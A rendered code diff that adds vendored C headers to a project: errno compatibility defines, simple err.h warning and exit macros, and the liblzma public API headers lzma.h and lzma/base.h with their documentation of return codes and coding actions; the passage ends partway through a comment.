|
#if !defined(ENOTSUP)
|
||||||
|
# define ENOTSUP 48 /* This is the value in Solaris. */
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#if !defined(ENOSYS)
|
||||||
|
# define ENOSYS 140 /* Semi-arbitrary value */
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#if !defined(EDEADLK)
|
||||||
|
# if defined(EDEADLOCK)
|
||||||
|
# define EDEADLK EDEADLOCK
|
||||||
|
# else
|
||||||
|
# define EDEADLK 36 /* This is the value in MSVC. */
|
||||||
|
# endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* POSIX 2008 - related to robust mutexes */
|
||||||
|
#if __PTW32_VERSION_MAJOR > 2
|
||||||
|
# if !defined(EOWNERDEAD)
|
||||||
|
# define EOWNERDEAD 1000
|
||||||
|
# endif
|
||||||
|
# if !defined(ENOTRECOVERABLE)
|
||||||
|
# define ENOTRECOVERABLE 1001
|
||||||
|
# endif
|
||||||
|
#else
|
||||||
|
# if !defined(EOWNERDEAD)
|
||||||
|
# define EOWNERDEAD 42
|
||||||
|
# endif
|
||||||
|
# if !defined(ENOTRECOVERABLE)
|
||||||
|
# define ENOTRECOVERABLE 43
|
||||||
|
# endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif /* !__PTW32_H */
|
||||||
1186
src/include/dirent.h
Normal file
1186
src/include/dirent.h
Normal file
File diff suppressed because it is too large
Load Diff
19
src/include/err.h
Normal file
19
src/include/err.h
Normal file
@ -0,0 +1,19 @@
|
|||||||
|
#ifndef _ERR_H_
|
||||||
|
#define _ERR_H_
|
||||||
|
|
||||||
|
#include <stdlib.h>
|
||||||
|
|
||||||
|
#define warnx(...) do { \
|
||||||
|
fprintf (stderr, __VA_ARGS__); \
|
||||||
|
fprintf (stderr, "\n"); \
|
||||||
|
} while (0)
|
||||||
|
|
||||||
|
#define errx(code, ...) do { \
|
||||||
|
fprintf (stderr, __VA_ARGS__); \
|
||||||
|
fprintf (stderr, "\n"); \
|
||||||
|
exit (code); \
|
||||||
|
} while (0)
|
||||||
|
|
||||||
|
#define err errx
|
||||||
|
|
||||||
|
#endif /* !_ERR_H_ */
|
||||||
326
src/include/lzma.h
Normal file
326
src/include/lzma.h
Normal file
@ -0,0 +1,326 @@
|
|||||||
|
/**
|
||||||
|
* \file api/lzma.h
|
||||||
|
* \brief The public API of liblzma data compression library
|
||||||
|
*
|
||||||
|
* liblzma is a public domain general-purpose data compression library with
|
||||||
|
* a zlib-like API. The native file format is .xz, but also the old .lzma
|
||||||
|
* format and raw (no headers) streams are supported. Multiple compression
|
||||||
|
* algorithms (filters) are supported. Currently LZMA2 is the primary filter.
|
||||||
|
*
|
||||||
|
* liblzma is part of XZ Utils <http://tukaani.org/xz/>. XZ Utils includes
|
||||||
|
* a gzip-like command line tool named xz and some other tools. XZ Utils
|
||||||
|
* is developed and maintained by Lasse Collin.
|
||||||
|
*
|
||||||
|
* Major parts of liblzma are based on Igor Pavlov's public domain LZMA SDK
|
||||||
|
* <http://7-zip.org/sdk.html>.
|
||||||
|
*
|
||||||
|
* The SHA-256 implementation is based on the public domain code found from
|
||||||
|
* 7-Zip <http://7-zip.org/>, which has a modified version of the public
|
||||||
|
* domain SHA-256 code found from Crypto++ <http://www.cryptopp.com/>.
|
||||||
|
* The SHA-256 code in Crypto++ was written by Kevin Springle and Wei Dai.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Author: Lasse Collin
|
||||||
|
*
|
||||||
|
* This file has been put into the public domain.
|
||||||
|
* You can do whatever you want with this file.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef LZMA_H
|
||||||
|
#define LZMA_H
|
||||||
|
|
||||||
|
/*****************************
|
||||||
|
* Required standard headers *
|
||||||
|
*****************************/
|
||||||
|
|
||||||
|
/*
|
||||||
|
* liblzma API headers need some standard types and macros. To allow
|
||||||
|
* including lzma.h without requiring the application to include other
|
||||||
|
* headers first, lzma.h includes the required standard headers unless
|
||||||
|
* they already seem to be included already or if LZMA_MANUAL_HEADERS
|
||||||
|
* has been defined.
|
||||||
|
*
|
||||||
|
* Here's what types and macros are needed and from which headers:
|
||||||
|
* - stddef.h: size_t, NULL
|
||||||
|
* - stdint.h: uint8_t, uint32_t, uint64_t, UINT32_C(n), uint64_C(n),
|
||||||
|
* UINT32_MAX, UINT64_MAX
|
||||||
|
*
|
||||||
|
* However, inttypes.h is a little more portable than stdint.h, although
|
||||||
|
* inttypes.h declares some unneeded things compared to plain stdint.h.
|
||||||
|
*
|
||||||
|
* The hacks below aren't perfect, specifically they assume that inttypes.h
|
||||||
|
* exists and that it typedefs at least uint8_t, uint32_t, and uint64_t,
|
||||||
|
* and that, in case of incomplete inttypes.h, unsigned int is 32-bit.
|
||||||
|
* If the application already takes care of setting up all the types and
|
||||||
|
* macros properly (for example by using gnulib's stdint.h or inttypes.h),
|
||||||
|
* we try to detect that the macros are already defined and don't include
|
||||||
|
* inttypes.h here again. However, you may define LZMA_MANUAL_HEADERS to
|
||||||
|
* force this file to never include any system headers.
|
||||||
|
*
|
||||||
|
* Some could argue that liblzma API should provide all the required types,
|
||||||
|
* for example lzma_uint64, LZMA_UINT64_C(n), and LZMA_UINT64_MAX. This was
|
||||||
|
* seen as an unnecessary mess, since most systems already provide all the
|
||||||
|
* necessary types and macros in the standard headers.
|
||||||
|
*
|
||||||
|
* Note that liblzma API still has lzma_bool, because using stdbool.h would
|
||||||
|
* break C89 and C++ programs on many systems. sizeof(bool) in C99 isn't
|
||||||
|
* necessarily the same as sizeof(bool) in C++.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef LZMA_MANUAL_HEADERS
|
||||||
|
/*
|
||||||
|
* I suppose this works portably also in C++. Note that in C++,
|
||||||
|
* we need to get size_t into the global namespace.
|
||||||
|
*/
|
||||||
|
# include <stddef.h>
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Skip inttypes.h if we already have all the required macros. If we
|
||||||
|
* have the macros, we assume that we have the matching typedefs too.
|
||||||
|
*/
|
||||||
|
# if !defined(UINT32_C) || !defined(UINT64_C) \
|
||||||
|
|| !defined(UINT32_MAX) || !defined(UINT64_MAX)
|
||||||
|
/*
|
||||||
|
* MSVC versions older than 2013 have no C99 support, and
|
||||||
|
* thus they cannot be used to compile liblzma. Using an
|
||||||
|
* existing liblzma.dll with old MSVC can work though(*),
|
||||||
|
* but we need to define the required standard integer
|
||||||
|
* types here in a MSVC-specific way.
|
||||||
|
*
|
||||||
|
* (*) If you do this, the existing liblzma.dll probably uses
|
||||||
|
* a different runtime library than your MSVC-built
|
||||||
|
* application. Mixing runtimes is generally bad, but
|
||||||
|
* in this case it should work as long as you avoid
|
||||||
|
* the few rarely-needed liblzma functions that allocate
|
||||||
|
* memory and expect the caller to free it using free().
|
||||||
|
*/
|
||||||
|
# if defined(_WIN32) && defined(_MSC_VER) && _MSC_VER < 1800
|
||||||
|
typedef unsigned __int8 uint8_t;
|
||||||
|
typedef unsigned __int32 uint32_t;
|
||||||
|
typedef unsigned __int64 uint64_t;
|
||||||
|
# else
|
||||||
|
/* Use the standard inttypes.h. */
|
||||||
|
# ifdef __cplusplus
|
||||||
|
/*
|
||||||
|
* C99 sections 7.18.2 and 7.18.4 specify
|
||||||
|
* that C++ implementations define the limit
|
||||||
|
* and constant macros only if specifically
|
||||||
|
* requested. Note that if you want the
|
||||||
|
* format macros (PRIu64 etc.) too, you need
|
||||||
|
* to define __STDC_FORMAT_MACROS before
|
||||||
|
* including lzma.h, since re-including
|
||||||
|
* inttypes.h with __STDC_FORMAT_MACROS
|
||||||
|
* defined doesn't necessarily work.
|
||||||
|
*/
|
||||||
|
# ifndef __STDC_LIMIT_MACROS
|
||||||
|
# define __STDC_LIMIT_MACROS 1
|
||||||
|
# endif
|
||||||
|
# ifndef __STDC_CONSTANT_MACROS
|
||||||
|
# define __STDC_CONSTANT_MACROS 1
|
||||||
|
# endif
|
||||||
|
# endif
|
||||||
|
|
||||||
|
# include <inttypes.h>
|
||||||
|
# endif
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Some old systems have only the typedefs in inttypes.h, and
|
||||||
|
* lack all the macros. For those systems, we need a few more
|
||||||
|
* hacks. We assume that unsigned int is 32-bit and unsigned
|
||||||
|
* long is either 32-bit or 64-bit. If these hacks aren't
|
||||||
|
* enough, the application has to setup the types manually
|
||||||
|
* before including lzma.h.
|
||||||
|
*/
|
||||||
|
# ifndef UINT32_C
|
||||||
|
# if defined(_WIN32) && defined(_MSC_VER)
|
||||||
|
# define UINT32_C(n) n ## UI32
|
||||||
|
# else
|
||||||
|
# define UINT32_C(n) n ## U
|
||||||
|
# endif
|
||||||
|
# endif
|
||||||
|
|
||||||
|
# ifndef UINT64_C
|
||||||
|
# if defined(_WIN32) && defined(_MSC_VER)
|
||||||
|
# define UINT64_C(n) n ## UI64
|
||||||
|
# else
|
||||||
|
/* Get ULONG_MAX. */
|
||||||
|
# include <limits.h>
|
||||||
|
# if ULONG_MAX == 4294967295UL
|
||||||
|
# define UINT64_C(n) n ## ULL
|
||||||
|
# else
|
||||||
|
# define UINT64_C(n) n ## UL
|
||||||
|
# endif
|
||||||
|
# endif
|
||||||
|
# endif
|
||||||
|
|
||||||
|
# ifndef UINT32_MAX
|
||||||
|
# define UINT32_MAX (UINT32_C(4294967295))
|
||||||
|
# endif
|
||||||
|
|
||||||
|
# ifndef UINT64_MAX
|
||||||
|
# define UINT64_MAX (UINT64_C(18446744073709551615))
|
||||||
|
# endif
|
||||||
|
# endif
|
||||||
|
#endif /* ifdef LZMA_MANUAL_HEADERS */
|
||||||
|
|
||||||
|
|
||||||
|
/******************
|
||||||
|
* LZMA_API macro *
|
||||||
|
******************/
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Some systems require that the functions and function pointers are
|
||||||
|
* declared specially in the headers. LZMA_API_IMPORT is for importing
|
||||||
|
* symbols and LZMA_API_CALL is to specify the calling convention.
|
||||||
|
*
|
||||||
|
* By default it is assumed that the application will link dynamically
|
||||||
|
* against liblzma. #define LZMA_API_STATIC in your application if you
|
||||||
|
* want to link against static liblzma. If you don't care about portability
|
||||||
|
* to operating systems like Windows, or at least don't care about linking
|
||||||
|
* against static liblzma on them, don't worry about LZMA_API_STATIC. That
|
||||||
|
* is, most developers will never need to use LZMA_API_STATIC.
|
||||||
|
*
|
||||||
|
* The GCC variants are a special case on Windows (Cygwin and MinGW).
|
||||||
|
* We rely on GCC doing the right thing with its auto-import feature,
|
||||||
|
* and thus don't use __declspec(dllimport). This way developers don't
|
||||||
|
* need to worry about LZMA_API_STATIC. Also the calling convention is
|
||||||
|
* omitted on Cygwin but not on MinGW.
|
||||||
|
*/
|
||||||
|
#ifndef LZMA_API_IMPORT
|
||||||
|
# if !defined(LZMA_API_STATIC) && defined(_WIN32) && !defined(__GNUC__)
|
||||||
|
# define LZMA_API_IMPORT __declspec(dllimport)
|
||||||
|
# else
|
||||||
|
# define LZMA_API_IMPORT
|
||||||
|
# endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef LZMA_API_CALL
|
||||||
|
# if defined(_WIN32) && !defined(__CYGWIN__)
|
||||||
|
# define LZMA_API_CALL __cdecl
|
||||||
|
# else
|
||||||
|
# define LZMA_API_CALL
|
||||||
|
# endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef LZMA_API
|
||||||
|
# define LZMA_API(type) LZMA_API_IMPORT type LZMA_API_CALL
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
/***********
|
||||||
|
* nothrow *
|
||||||
|
***********/
|
||||||
|
|
||||||
|
/*
|
||||||
|
* None of the functions in liblzma may throw an exception. Even
|
||||||
|
* the functions that use callback functions won't throw exceptions,
|
||||||
|
* because liblzma would break if a callback function threw an exception.
|
||||||
|
*/
|
||||||
|
#ifndef lzma_nothrow
|
||||||
|
# if defined(__cplusplus)
|
||||||
|
# if __cplusplus >= 201103L
|
||||||
|
# define lzma_nothrow noexcept
|
||||||
|
# else
|
||||||
|
# define lzma_nothrow throw()
|
||||||
|
# endif
|
||||||
|
# elif defined(__GNUC__) && (__GNUC__ > 3 \
|
||||||
|
|| (__GNUC__ == 3 && __GNUC_MINOR__ >= 3))
|
||||||
|
# define lzma_nothrow __attribute__((__nothrow__))
|
||||||
|
# else
|
||||||
|
# define lzma_nothrow
|
||||||
|
# endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
/********************
|
||||||
|
* GNU C extensions *
|
||||||
|
********************/
|
||||||
|
|
||||||
|
/*
|
||||||
|
* GNU C extensions are used conditionally in the public API. It doesn't
|
||||||
|
* break anything if these are sometimes enabled and sometimes not, only
|
||||||
|
* affects warnings and optimizations.
|
||||||
|
*/
|
||||||
|
#if defined(__GNUC__) && __GNUC__ >= 3
|
||||||
|
# ifndef lzma_attribute
|
||||||
|
# define lzma_attribute(attr) __attribute__(attr)
|
||||||
|
# endif
|
||||||
|
|
||||||
|
/* warn_unused_result was added in GCC 3.4. */
|
||||||
|
# ifndef lzma_attr_warn_unused_result
|
||||||
|
# if __GNUC__ == 3 && __GNUC_MINOR__ < 4
|
||||||
|
# define lzma_attr_warn_unused_result
|
||||||
|
# endif
|
||||||
|
# endif
|
||||||
|
|
||||||
|
#else
|
||||||
|
# ifndef lzma_attribute
|
||||||
|
# define lzma_attribute(attr)
|
||||||
|
# endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
#ifndef lzma_attr_pure
|
||||||
|
# define lzma_attr_pure lzma_attribute((__pure__))
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef lzma_attr_const
|
||||||
|
# define lzma_attr_const lzma_attribute((__const__))
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef lzma_attr_warn_unused_result
|
||||||
|
# define lzma_attr_warn_unused_result \
|
||||||
|
lzma_attribute((__warn_unused_result__))
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
/**************
|
||||||
|
* Subheaders *
|
||||||
|
**************/
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Subheaders check that this is defined. It is to prevent including
|
||||||
|
* them directly from applications.
|
||||||
|
*/
|
||||||
|
#define LZMA_H_INTERNAL 1
|
||||||
|
|
||||||
|
/* Basic features */
|
||||||
|
#include "lzma/version.h"
|
||||||
|
#include "lzma/base.h"
|
||||||
|
#include "lzma/vli.h"
|
||||||
|
#include "lzma/check.h"
|
||||||
|
|
||||||
|
/* Filters */
|
||||||
|
#include "lzma/filter.h"
|
||||||
|
#include "lzma/bcj.h"
|
||||||
|
#include "lzma/delta.h"
|
||||||
|
#include "lzma/lzma12.h"
|
||||||
|
|
||||||
|
/* Container formats */
|
||||||
|
#include "lzma/container.h"
|
||||||
|
|
||||||
|
/* Advanced features */
|
||||||
|
#include "lzma/stream_flags.h"
|
||||||
|
#include "lzma/block.h"
|
||||||
|
#include "lzma/index.h"
|
||||||
|
#include "lzma/index_hash.h"
|
||||||
|
|
||||||
|
/* Hardware information */
|
||||||
|
#include "lzma/hardware.h"
|
||||||
|
|
||||||
|
/*
|
||||||
|
* All subheaders included. Undefine LZMA_H_INTERNAL to prevent applications
|
||||||
|
* re-including the subheaders.
|
||||||
|
*/
|
||||||
|
#undef LZMA_H_INTERNAL
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif /* ifndef LZMA_H */
|
||||||
659
src/include/lzma/base.h
Normal file
659
src/include/lzma/base.h
Normal file
@ -0,0 +1,659 @@
|
|||||||
|
/**
|
||||||
|
* \file lzma/base.h
|
||||||
|
* \brief Data types and functions used in many places in liblzma API
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Author: Lasse Collin
|
||||||
|
*
|
||||||
|
* This file has been put into the public domain.
|
||||||
|
* You can do whatever you want with this file.
|
||||||
|
*
|
||||||
|
* See ../lzma.h for information about liblzma as a whole.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef LZMA_H_INTERNAL
|
||||||
|
# error Never include this file directly. Use <lzma.h> instead.
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Boolean
|
||||||
|
*
|
||||||
|
* This is here because C89 doesn't have stdbool.h. To set a value for
|
||||||
|
* variables having type lzma_bool, you can use
|
||||||
|
* - C99's `true' and `false' from stdbool.h;
|
||||||
|
* - C++'s internal `true' and `false'; or
|
||||||
|
* - integers one (true) and zero (false).
|
||||||
|
*/
|
||||||
|
typedef unsigned char lzma_bool;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Type of reserved enumeration variable in structures
|
||||||
|
*
|
||||||
|
* To avoid breaking library ABI when new features are added, several
|
||||||
|
* structures contain extra variables that may be used in future. Since
|
||||||
|
* sizeof(enum) can be different than sizeof(int), and sizeof(enum) may
|
||||||
|
* even vary depending on the range of enumeration constants, we specify
|
||||||
|
* a separate type to be used for reserved enumeration variables. All
|
||||||
|
* enumeration constants in liblzma API will be non-negative and less
|
||||||
|
* than 128, which should guarantee that the ABI won't break even when
|
||||||
|
* new constants are added to existing enumerations.
|
||||||
|
*/
|
||||||
|
typedef enum {
|
||||||
|
LZMA_RESERVED_ENUM = 0
|
||||||
|
} lzma_reserved_enum;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Return values used by several functions in liblzma
|
||||||
|
*
|
||||||
|
* Check the descriptions of specific functions to find out which return
|
||||||
|
* values they can return. With some functions the return values may have
|
||||||
|
* more specific meanings than described here; those differences are
|
||||||
|
* described per-function basis.
|
||||||
|
*/
|
||||||
|
typedef enum {
|
||||||
|
LZMA_OK = 0,
|
||||||
|
/**<
|
||||||
|
* \brief Operation completed successfully
|
||||||
|
*/
|
||||||
|
|
||||||
|
LZMA_STREAM_END = 1,
|
||||||
|
/**<
|
||||||
|
* \brief End of stream was reached
|
||||||
|
*
|
||||||
|
* In encoder, LZMA_SYNC_FLUSH, LZMA_FULL_FLUSH, or
|
||||||
|
* LZMA_FINISH was finished. In decoder, this indicates
|
||||||
|
* that all the data was successfully decoded.
|
||||||
|
*
|
||||||
|
* In all cases, when LZMA_STREAM_END is returned, the last
|
||||||
|
* output bytes should be picked from strm->next_out.
|
||||||
|
*/
|
||||||
|
|
||||||
|
LZMA_NO_CHECK = 2,
|
||||||
|
/**<
|
||||||
|
* \brief Input stream has no integrity check
|
||||||
|
*
|
||||||
|
* This return value can be returned only if the
|
||||||
|
* LZMA_TELL_NO_CHECK flag was used when initializing
|
||||||
|
* the decoder. LZMA_NO_CHECK is just a warning, and
|
||||||
|
* the decoding can be continued normally.
|
||||||
|
*
|
||||||
|
* It is possible to call lzma_get_check() immediately after
|
||||||
|
* lzma_code has returned LZMA_NO_CHECK. The result will
|
||||||
|
* naturally be LZMA_CHECK_NONE, but the possibility to call
|
||||||
|
* lzma_get_check() may be convenient in some applications.
|
||||||
|
*/
|
||||||
|
|
||||||
|
LZMA_UNSUPPORTED_CHECK = 3,
|
||||||
|
/**<
|
||||||
|
* \brief Cannot calculate the integrity check
|
||||||
|
*
|
||||||
|
* The usage of this return value is different in encoders
|
||||||
|
* and decoders.
|
||||||
|
*
|
||||||
|
* Encoders can return this value only from the initialization
|
||||||
|
* function. If initialization fails with this value, the
|
||||||
|
* encoding cannot be done, because there's no way to produce
|
||||||
|
* output with the correct integrity check.
|
||||||
|
*
|
||||||
|
* Decoders can return this value only from lzma_code() and
|
||||||
|
* only if the LZMA_TELL_UNSUPPORTED_CHECK flag was used when
|
||||||
|
* initializing the decoder. The decoding can still be
|
||||||
|
* continued normally even if the check type is unsupported,
|
||||||
|
* but naturally the check will not be validated, and possible
|
||||||
|
* errors may go undetected.
|
||||||
|
*
|
||||||
|
* With decoder, it is possible to call lzma_get_check()
|
||||||
|
* immediately after lzma_code() has returned
|
||||||
|
* LZMA_UNSUPPORTED_CHECK. This way it is possible to find
|
||||||
|
* out what the unsupported Check ID was.
|
||||||
|
*/
|
||||||
|
|
||||||
|
LZMA_GET_CHECK = 4,
|
||||||
|
/**<
|
||||||
|
* \brief Integrity check type is now available
|
||||||
|
*
|
||||||
|
* This value can be returned only by the lzma_code() function
|
||||||
|
* and only if the decoder was initialized with the
|
||||||
|
* LZMA_TELL_ANY_CHECK flag. LZMA_GET_CHECK tells the
|
||||||
|
* application that it may now call lzma_get_check() to find
|
||||||
|
* out the Check ID. This can be used, for example, to
|
||||||
|
* implement a decoder that accepts only files that have
|
||||||
|
* strong enough integrity check.
|
||||||
|
*/
|
||||||
|
|
||||||
|
LZMA_MEM_ERROR = 5,
|
||||||
|
/**<
|
||||||
|
* \brief Cannot allocate memory
|
||||||
|
*
|
||||||
|
* Memory allocation failed, or the size of the allocation
|
||||||
|
* would be greater than SIZE_MAX.
|
||||||
|
*
|
||||||
|
* Due to internal implementation reasons, the coding cannot
|
||||||
|
* be continued even if more memory were made available after
|
||||||
|
* LZMA_MEM_ERROR.
|
||||||
|
*/
|
||||||
|
|
||||||
|
LZMA_MEMLIMIT_ERROR = 6,
|
||||||
|
/**
|
||||||
|
* \brief Memory usage limit was reached
|
||||||
|
*
|
||||||
|
* Decoder would need more memory than allowed by the
|
||||||
|
* specified memory usage limit. To continue decoding,
|
||||||
|
* the memory usage limit has to be increased with
|
||||||
|
* lzma_memlimit_set().
|
||||||
|
*/
|
||||||
|
|
||||||
|
LZMA_FORMAT_ERROR = 7,
|
||||||
|
/**<
|
||||||
|
* \brief File format not recognized
|
||||||
|
*
|
||||||
|
* The decoder did not recognize the input as supported file
|
||||||
|
* format. This error can occur, for example, when trying to
|
||||||
|
* decode .lzma format file with lzma_stream_decoder,
|
||||||
|
* because lzma_stream_decoder accepts only the .xz format.
|
||||||
|
*/
|
||||||
|
|
||||||
|
LZMA_OPTIONS_ERROR = 8,
|
||||||
|
/**<
|
||||||
|
* \brief Invalid or unsupported options
|
||||||
|
*
|
||||||
|
* Invalid or unsupported options, for example
|
||||||
|
* - unsupported filter(s) or filter options; or
|
||||||
|
* - reserved bits set in headers (decoder only).
|
||||||
|
*
|
||||||
|
* Rebuilding liblzma with more features enabled, or
|
||||||
|
* upgrading to a newer version of liblzma may help.
|
||||||
|
*/
|
||||||
|
|
||||||
|
LZMA_DATA_ERROR = 9,
|
||||||
|
/**<
|
||||||
|
* \brief Data is corrupt
|
||||||
|
*
|
||||||
|
* The usage of this return value is different in encoders
|
||||||
|
* and decoders. In both encoder and decoder, the coding
|
||||||
|
* cannot continue after this error.
|
||||||
|
*
|
||||||
|
* Encoders return this if size limits of the target file
|
||||||
|
* format would be exceeded. These limits are huge, thus
|
||||||
|
* getting this error from an encoder is mostly theoretical.
|
||||||
|
* For example, the maximum compressed and uncompressed
|
||||||
|
* size of a .xz Stream is roughly 8 EiB (2^63 bytes).
|
||||||
|
*
|
||||||
|
* Decoders return this error if the input data is corrupt.
|
||||||
|
* This can mean, for example, invalid CRC32 in headers
|
||||||
|
* or invalid check of uncompressed data.
|
||||||
|
*/
|
||||||
|
|
||||||
|
LZMA_BUF_ERROR = 10,
|
||||||
|
/**<
|
||||||
|
* \brief No progress is possible
|
||||||
|
*
|
||||||
|
* This error code is returned when the coder cannot consume
|
||||||
|
* any new input and produce any new output. The most common
|
||||||
|
* reason for this error is that the input stream being
|
||||||
|
* decoded is truncated or corrupt.
|
||||||
|
*
|
||||||
|
* This error is not fatal. Coding can be continued normally
|
||||||
|
* by providing more input and/or more output space, if
|
||||||
|
* possible.
|
||||||
|
*
|
||||||
|
* Typically the first call to lzma_code() that can do no
|
||||||
|
* progress returns LZMA_OK instead of LZMA_BUF_ERROR. Only
|
||||||
|
* the second consecutive call doing no progress will return
|
||||||
|
* LZMA_BUF_ERROR. This is intentional.
|
||||||
|
*
|
||||||
|
* With zlib, Z_BUF_ERROR may be returned even if the
|
||||||
|
* application is doing nothing wrong, so apps will need
|
||||||
|
* to handle Z_BUF_ERROR specially. The above hack
|
||||||
|
* guarantees that liblzma never returns LZMA_BUF_ERROR
|
||||||
|
* to properly written applications unless the input file
|
||||||
|
* is truncated or corrupt. This should simplify the
|
||||||
|
* applications a little.
|
||||||
|
*/
|
||||||
|
|
||||||
|
LZMA_PROG_ERROR = 11,
|
||||||
|
/**<
|
||||||
|
* \brief Programming error
|
||||||
|
*
|
||||||
|
* This indicates that the arguments given to the function are
|
||||||
|
* invalid or the internal state of the decoder is corrupt.
|
||||||
|
* - Function arguments are invalid or the structures
|
||||||
|
* pointed by the argument pointers are invalid
|
||||||
|
* e.g. if strm->next_out has been set to NULL and
|
||||||
|
* strm->avail_out > 0 when calling lzma_code().
|
||||||
|
* - lzma_* functions have been called in wrong order
|
||||||
|
* e.g. lzma_code() was called right after lzma_end().
|
||||||
|
* - If errors occur randomly, the reason might be flaky
|
||||||
|
* hardware.
|
||||||
|
*
|
||||||
|
* If you think that your code is correct, this error code
|
||||||
|
* can be a sign of a bug in liblzma. See the documentation
|
||||||
|
* how to report bugs.
|
||||||
|
*/
|
||||||
|
} lzma_ret;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief The `action' argument for lzma_code()
|
||||||
|
*
|
||||||
|
* After the first use of LZMA_SYNC_FLUSH, LZMA_FULL_FLUSH, LZMA_FULL_BARRIER,
|
||||||
|
* or LZMA_FINISH, the same `action' must is used until lzma_code() returns
|
||||||
|
* LZMA_STREAM_END. Also, the amount of input (that is, strm->avail_in) must
|
||||||
|
* not be modified by the application until lzma_code() returns
|
||||||
|
* LZMA_STREAM_END. Changing the `action' or modifying the amount of input
|
||||||
|
* will make lzma_code() return LZMA_PROG_ERROR.
|
||||||
|
*/
|
||||||
|
typedef enum {
|
||||||
|
LZMA_RUN = 0,
|
||||||
|
/**<
|
||||||
|
* \brief Continue coding
|
||||||
|
*
|
||||||
|
* Encoder: Encode as much input as possible. Some internal
|
||||||
|
* buffering will probably be done (depends on the filter
|
||||||
|
* chain in use), which causes latency: the input used won't
|
||||||
|
* usually be decodeable from the output of the same
|
||||||
|
* lzma_code() call.
|
||||||
|
*
|
||||||
|
* Decoder: Decode as much input as possible and produce as
|
||||||
|
* much output as possible.
|
||||||
|
*/
|
||||||
|
|
||||||
|
LZMA_SYNC_FLUSH = 1,
|
||||||
|
/**<
|
||||||
|
* \brief Make all the input available at output
|
||||||
|
*
|
||||||
|
* Normally the encoder introduces some latency.
|
||||||
|
* LZMA_SYNC_FLUSH forces all the buffered data to be
|
||||||
|
* available at output without resetting the internal
|
||||||
|
* state of the encoder. This way it is possible to use
|
||||||
|
* compressed stream for example for communication over
|
||||||
|
* network.
|
||||||
|
*
|
||||||
|
* Only some filters support LZMA_SYNC_FLUSH. Trying to use
|
||||||
|
* LZMA_SYNC_FLUSH with filters that don't support it will
|
||||||
|
* make lzma_code() return LZMA_OPTIONS_ERROR. For example,
|
||||||
|
* LZMA1 doesn't support LZMA_SYNC_FLUSH but LZMA2 does.
|
||||||
|
*
|
||||||
|
* Using LZMA_SYNC_FLUSH very often can dramatically reduce
|
||||||
|
* the compression ratio. With some filters (for example,
|
||||||
|
* LZMA2), fine-tuning the compression options may help
|
||||||
|
* mitigate this problem significantly (for example,
|
||||||
|
* match finder with LZMA2).
|
||||||
|
*
|
||||||
|
* Decoders don't support LZMA_SYNC_FLUSH.
|
||||||
|
*/
|
||||||
|
|
||||||
|
LZMA_FULL_FLUSH = 2,
|
||||||
|
/**<
|
||||||
|
* \brief Finish encoding of the current Block
|
||||||
|
*
|
||||||
|
* All the input data going to the current Block must have
|
||||||
|
* been given to the encoder (the last bytes can still be
|
||||||
|
* pending in *next_in). Call lzma_code() with LZMA_FULL_FLUSH
|
||||||
|
* until it returns LZMA_STREAM_END. Then continue normally
|
||||||
|
* with LZMA_RUN or finish the Stream with LZMA_FINISH.
|
||||||
|
*
|
||||||
|
* This action is currently supported only by Stream encoder
|
||||||
|
* and easy encoder (which uses Stream encoder). If there is
|
||||||
|
* no unfinished Block, no empty Block is created.
|
||||||
|
*/
|
||||||
|
|
||||||
|
LZMA_FULL_BARRIER = 4,
|
||||||
|
/**<
|
||||||
|
* \brief Finish encoding of the current Block
|
||||||
|
*
|
||||||
|
* This is like LZMA_FULL_FLUSH except that this doesn't
|
||||||
|
* necessarily wait until all the input has been made
|
||||||
|
* available via the output buffer. That is, lzma_code()
|
||||||
|
* might return LZMA_STREAM_END as soon as all the input
|
||||||
|
* has been consumed (avail_in == 0).
|
||||||
|
*
|
||||||
|
* LZMA_FULL_BARRIER is useful with a threaded encoder if
|
||||||
|
* one wants to split the .xz Stream into Blocks at specific
|
||||||
|
* offsets but doesn't care if the output isn't flushed
|
||||||
|
* immediately. Using LZMA_FULL_BARRIER allows keeping
|
||||||
|
* the threads busy while LZMA_FULL_FLUSH would make
|
||||||
|
* lzma_code() wait until all the threads have finished
|
||||||
|
* until more data could be passed to the encoder.
|
||||||
|
*
|
||||||
|
* With a lzma_stream initialized with the single-threaded
|
||||||
|
* lzma_stream_encoder() or lzma_easy_encoder(),
|
||||||
|
* LZMA_FULL_BARRIER is an alias for LZMA_FULL_FLUSH.
|
||||||
|
*/
|
||||||
|
|
||||||
|
LZMA_FINISH = 3
|
||||||
|
/**<
|
||||||
|
* \brief Finish the coding operation
|
||||||
|
*
|
||||||
|
* All the input data must have been given to the encoder
|
||||||
|
* (the last bytes can still be pending in next_in).
|
||||||
|
* Call lzma_code() with LZMA_FINISH until it returns
|
||||||
|
* LZMA_STREAM_END. Once LZMA_FINISH has been used,
|
||||||
|
* the amount of input must no longer be changed by
|
